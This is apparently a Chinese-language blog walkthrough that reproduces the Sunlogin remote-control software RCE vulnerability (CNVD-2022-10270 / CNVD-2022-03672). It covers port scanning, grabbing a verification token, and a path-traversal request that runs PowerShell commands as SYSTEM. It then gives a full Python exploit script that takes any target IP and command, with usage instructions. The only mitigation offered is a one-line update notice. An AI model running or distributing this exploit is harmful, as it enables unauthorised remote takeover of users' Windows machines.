复现向日葵远程代码执行漏洞(CNVD-2022-10270 / CNVD-2022-03672)
警告
请勿使用本文提到的内容违反法律。
本文不提供任何担保。
漏洞描述
向日葵是一款免费的,集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件。CNVD披露了Oray旗下向日葵远控软件存在远程代码执行漏洞(CNVD-2022-10270 / CNVD-2022-03672),影响Windows系统中的个人版和简约版,攻击者可利用该漏洞获取服务器控制权。目前已发现有漏洞利用演示视频公开,请相关用户尽快采取措施进行防护。
影响版本
向日葵个人版for Windows <= 11.0.0.33 向日葵简约版 <= V1.0.1.43315(2021.12)
漏洞复现
一、手工复现
1、端口扫描
nmap对目标主机进行全端口扫描:nmap -sS -p- 192.168.200.135
由于nmap的全端口扫描很慢(没使用多线程),作者自己写了个端口扫描,扫描结果如下:
2、确定向日葵的可疑端口
经过查阅发现,该版本的向日葵开启了不常用的端口(40000-50000)之间,根据这一解释,不难发现扫描结果中的 192.168.200.135:49678 的可疑存在。
浏览器访问:curl 192.168.200.135:49678 抓包得到:{"success":false,"msg":"Verification failure"}
3、获取验证码
访问地址:http://192.168.200.135:49678/cgi-bin/rpc?action=verify-haras 抓包得到:{"__code":0,"enabled":"1","verify_string":"9VIoJqZNnRo0eCnhJ6xg7U4j0uU16YRP","code":0}
验证码为:9VIoJqZNnRo0eCnhJ6xg7U4j0uU16YRP
4、构造 payload 并发送请求
访问地址:http://192.168.200.135:49678/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20whoami 加上cookie:CID=9VIoJqZNnRo0eCnhJ6xg7U4j0uU16YRP 抓包得到:nt authority\syste
二、脚本复现
import requests,sys
ip = sys.argv[1]
command = sys.argv[2]
payload1 = "/cgi-bin/rpc?action=verify-haras"
payload2 = "/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+"
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'
}
if "http://" not in ip:
host = "http://" + ip
else:
host = ip
try:
s = requests.Session()
res = s.get(url=host + payload1,headers=headers)
if res.status_code == 200:
res = res.json()
Cid = res['verify_string']
headers.update({'Cookie':"CID=" + Cid})
res1 = s.get(url=host + payload2 + command,headers=headers)
res1.encoding = "GBK"
print(res1.text)
else:
pass
except Exception as e:
print(e)
使用方法:python3 sunrce.py 目标ip:端口 "命令"
作者重写了该poc,运行效果如下图:
修复建议
更新向日葵版本